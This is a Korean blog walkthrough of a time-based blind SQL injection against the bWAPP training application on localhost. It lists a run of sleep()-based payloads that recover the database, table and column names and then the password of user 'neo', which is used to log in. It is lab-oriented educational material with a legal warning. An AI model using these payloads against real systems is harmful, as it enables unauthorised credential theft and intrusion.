Code::Security/비박스(BWAPP)

비박스(bWAPP) SQL Injection - Blind - Time-Based

태군 코드 2021. 6. 17. 18:39
반응형

이 도구를 이용하여 허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위 입니다. 해킹을 시도할 때에 발생하는 법적인 책임은 그것을 행한 사용자에게 있다는 것을 명심하시기 바랍니다.

 

A1 - SQL Injection - Blind - Time-Based

 

Time Based 인젝션은 시간 기반으로 SQL 주입 유형은 지정된 시간 동안 데이터베이스를 일시 중지한 다음 결과를 반환하여 성공적인 SQL 쿼리 실행을 나타냅니다.

 

해당 페이지는 영화 검색을 할수 있으며, 검색 결과를 이메일로 보내는 기능을 합니다. 여기서 알수 있는것은 참, 거짓에 상관없이 검색 결과는 모두 동일한 메시지를 출력하는 것을 알수 있으며, 참을 구별 하기 위해여 sleep 함수를 사용하여 인젝션을 시도하도록 하겠습니다.

 

또한 검색 결과가 모두 동일하므로 작은따옴표를 사용하여도 오류 메시지를 출력하지 않으며, SQL 인젝션을 위하여 사용한 쿼리는 검색 결과를 이메일로 보낸다음 결과를 출력합니다. 따라서 SQL 인젝션 여부를 파악하기 위하여 인자에 입력한 시간만큼 응답을 지연시키는 sleep 함수를 사용하여 취약점 여부를 파악하도록 하겠습니다.

Blind - Time-Based

 

SQL 인젝션 취약점이 있는지를 확인하기 위하여 검색란에 결과를 항상 참으로 만드는 쿼리를 입력합니다. and 연산자로 sleep 함수를 호출하기 때문에 이전 쿼리가 참이면 응답을 지연합니다. sleep 함수는 인자로 정수형 값을 입력받으며, 이때 입력한 숫자의 초 단위로 응답을 지연합니다.

 

하지만 웹 페이지의 응답으로는 쿼리의 참과 거짓을 판단할수 없으며 Blind SQL 인젝션에 사용한 쿼리로도 데이터베이스의 내용을 확인하기 힘듭니다.

 

다음으로는 length 함수와 substring 함수를 사용하여 데이터베이스 내용을 추측하며 항상 sleep 함수는 마지막에 and 연산자로 입력하도록 합니다.

 

length 함수로 데이터베이스 이름의 길이를 추축하는 쿼리 입니다. 'database()'는 서버의 데이터베이스 명을 반환하는 시스템 함수로, (database())=1 부터 대입하면서 몇자리에서 5초 동안 지연이 되는지 확인해 보시기 바랍니다.

' or 1=1 and length(database())=5 and sleep(5)#

 

다음은 length 함수로 알아낸 데이터베이스의 이름을 추측하는 쿼리 입니다. substring 함수로 데이터베이스의 첫 번째 자리부터 하나씩 글자를 구분합니다. 알파벳 a부터 대입하면 b일 때 5초 동안 지연이 되는 것을 확인 할수 있으며, length 함수로 알아낸 데이터베이스 명은 5자리 이므로 데이터베이스 명이 'bOOOO'라는 것을 알수 있습니다.

 

그 다음 글자를 확인하려면 substring 함수의 두 번째 인자가 문자열 시작 위치를 지정하므로 두 번째 인자 값을 변경하면 됩니다. 'substring(db_name(),2,1)'로 변경한 후 데이터베이스 명을 계속 추측해 보십시오.

 

' or 1=1 and substring(database(),1,1)='b' and sleep(5)#

 

다음은 테이블 명의 길이를 알아내기 위한 쿼리입니다. MySQL 버전이 5 이상이가 때문에 MySQL의 메타데이터인 information_schema를 사용합니다. where 조건으로 테이블의 타입을 지정하면 information_schema에 있는 메타데이터 저장용 테이블을 제외하게 되며, 테이블 스키마를 웹 서버의 데이터베이스인 bWAPP로 지정하면 bWAPP 데이터베이스의 테이블만 출력하게 됩니다.

 

limit 연산자로 조건에 맞는 테이블 중 위부터 선택할 수 있습니다. 즉, 위에 쿼리에서는 bWAPP 데이터베이스의 저장된 테이블 중 첫 번째 테이블 하나를 출력하며, 1부터 대입하면 4일 때 5초 동안 지연되는 것을 확인 할수 있습니다.

 

' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))=4 and sleep(5)#

 

다음 쿼리는 length 함수로 알아낸 테이블 명을 추측하는 쿼리입니다. substring 함수로 데이블 명의 첫 번째 자리부터 하나씩 글자를 구분하며, ascii 함수로 범위를 한정하면 substring 함수보다 빨리 알아 낼수 있습니다. 위의 쿼리는 거짓이므로 응답이 지연되지 않습니다.

 

' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1))>100 and sleep(5)#

 

ascii 함수와 substring 함수를 통하여 숫자를 계속 바꾸어 범위를 좁히면 테이블 명의 첫 번째 글자의 아스키 값이 98임을 알 수 있습니다. 아스키코드 표에서 98을 문자로 변환하면 b이므로 첫 번째 테이블명은 'bOOOO'라는 것을 알수 있습니다.

 

' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1))=98 and sleep(5)#

 

Time Based SQL 인젝션을 계속 진행하면 두 번째 테이블이 'heroes'라는 정보를 알수 있고. 'superhero' 그룹 사용자의 계정 정보가 있는 heroes 테이블의 컬럼을 추측합니다.

 

heroes 테이블 컬럼 명의 길이를 파악하기 위하여 length 함수를 사용하고, limit 연산자로 첫 번째 컬럼을 지정하고 값을 대입합니다.

 

' or 1=1 and length((select column_name from information_schema.columns where table_name='heroes' limit 0,1))=2 and sleep(5)#

 

다음은 length 함수로 알아낸 컬럼 명을 추측하는 쿼리 입니다. limit를 사용하여 최상위 컬럼의 위치를 반환하고, substring 함수로 컬럼 명의 첫 번째 자리부터 하나씩 글자를 구분합니다. 알파벳 a부터 대입하면 i일 때 5초 동안 지연되므로 컬럼명은 'iO'라는 것을 알수 있습니다.

 

' or 1=1 and substring((select column_name from information_schema.columns where table_name='heroes' limit 0,1),1,1)='i' and sleep(5)#

 

substring 함수의 인자를 수정하여 컬럼 명의 첫 번째 자리부터 두 번째 자리까지 추측하여 대입합니다. 'id'를 입력하였을 때 5초 동안 지연되는 것을 확인 할수 있습니다.

 

' or 1=1 and substring((select column_name from information_schema.columns where table_name='heroes' limit 0,1),1,2)='id' and sleep(5)#

 

그다음 컬럼 명을 추측하기 위하여 limit 1,1로 변경하고 컬럼 명의 길이를 파악해 보도록 하겠습니다.

 

' or 1=1 and length((select column_name from information_schema.columns where table_name='heroes' limit 1,1))=5 and sleep(5)#

 

substring 함수의 인자를 수정하여 컬럼 명의 첫 번째 자리부터 두 번째 자리까지 추측하여 대입합니다.

 

' or 1=1 and substring((select column_name from information_schema.columns where table_name='heroes' limit 1,1),1,1)='l' and sleep(5)#

 

컬럼 명을 추측하다 보면 두 번째 컬럼은 'login'이라는 사실을 확인 할수 있습니다. login 컬럼의 내용을 파악하기 위한 쿼리를 입력 하도록 하겠습니다. 첫 번째 값을 추측하기 위하여 limit 연산자를 0,1로 지정하고 1부터 대입하면 3일 때 5초 동안 지연이 되는것을 알수 있습니다.

 

' or 1=1 and length((select login from heroes limit 0,1))=3 and sleep(5)#

 

이제 길이는 확인하였고 다음은 컬럼 내용을 추측하는 쿼리를 확인해 보도록 하겠습니다. ascii 함수로 범위를 한정하여 login 컬럼의 첫 번째 값을 추측합니다. 여기서 확인할수 있는것은 첫 번째 글자의 아스키 값은 100 이상이라는 것을 확인할수 있습니다.

 

' or 1=1 and ascii(substring((select login from heroes limit 0,1),1,1))>100 and sleep(5)#

 

ascii 함수와 substring 함수를 통하여 숫자를 계속 바꾸어 범위를 좁히면 login 컬럼에 입력된 값의 첫 글자는 아스키 값으로 110인것을 확인할 수 있으며, 아스키코드 표에서 110을 문자로 변환하면 n이므로 컬럼의 내용은 'nOO'이라는 것을 알수 있습니다.

 

' or 1=1 and ascii(substring((select login from heroes limit 0,1),1,1))=110 and sleep(5)#

 

login 컬럼의 내용을 모두 알아내면 그다음 컬럼 명을 추측하기 위하여 limit 2,1로 지정하고 컬럼 명의 길이를 파악합니다. 1부터 대입하면 8일 때 5초 동안 지연이 되는것을 알수 있습니다.

 

' or 1=1 and length((select column_name from information_schema.columns where table_name='heroes' limit 2,1))=8 and sleep(5)#

 

length 함수로 알아낸 컬럼 명을 다음 쿼리로 추측합니다. substring 함수로 컬럼명의 첫 번째 자리부터 하나씩 글자를 대입 합니다. 컬럼 명은 'pOOOOOOO' 알수 있습니다.

 

' or 1=1 and substring((select column_name from information_schema.columns where table_name='heroes' limit 2,1),1,1)='p' and sleep(5)#

 

Time Base SQL 인젝션을 계속 진행하도 보면 heroses 테이블의 세 번째 컬럼 명이 'password'라는 정보를 알수 있으며, where 절로 login 컬럼에 사용자의 아이디인 'neo'를 대입하고 neo 사용자의 비밀번호를 추측합니다. password 컬럼의 내용을 파악하기 위하여 길이 값을 출력하는 쿼리를 입력해 보도록 하겠습니다.

 

' or 1=1 and length((select password from heroes where login='neo'))=7 and sleep(5)#

 

길이를 알아내면 다음 쿼리로 컬럼의 내용을 추측하는데, ascii 함수로 범위를 한정하여 password 컬럼의 첫 번째 값을 추측합니다. 여기서 첫 번째 글자의 아스키 값은 110 이상인 것을 알수 있습니다.

 

' or 1=1 and ascii(substring((select password from heroes where login='neo'),1,1))>110 and sleep(5)#

 

ascii 함수와 substring 함수로 숫자를 계속 바꾸어서 범위를 좁히면 password 컬럼에 입력된 값의 첫 글자는 아스키 값으로 116인것을 알수 있고, 아스키코드 표에서 116을 문자로 변환하면 t이므로 컬럼의 내용은 'tOOOOOO' 입니다.

 

' or 1=1 and ascii(substring((select password from heroes where login='neo'),1,1))=116 and sleep(5)#

 

Time Based SQL 인젝션을 계속 수행하면 neo 사용자의 비밀번호가 'trinity'라는 정보를 알게되고, 확인 쿼리를 입력해 보도록 하겠습니다.

 

' or 1=1 and substring((select password from heroes where login='neo'),1,7)='trinity' and sleep(5)#

 

위에서 알게된 정보를 hero 사용자로 로그인하는 sqli_3.php 페이지에 입력하면 로그인에 성공하는 것을 알수 있습니다.

 

http://127.0.0.1/bWAPP/sqli_3.php

 

 

로그인 성공

난이도 상의 sqli_15.php 페이지의 코드를 확인하면 sqli_check_2 함수를 사용하여 검색란에 입력하는 데이터를 우회 하므로 난이도 상에서는 sleep 함수로 SQL 인젝션 쿼리를 입력하여도 시간 지연이 되지 않습니다.

 

 

 

반응형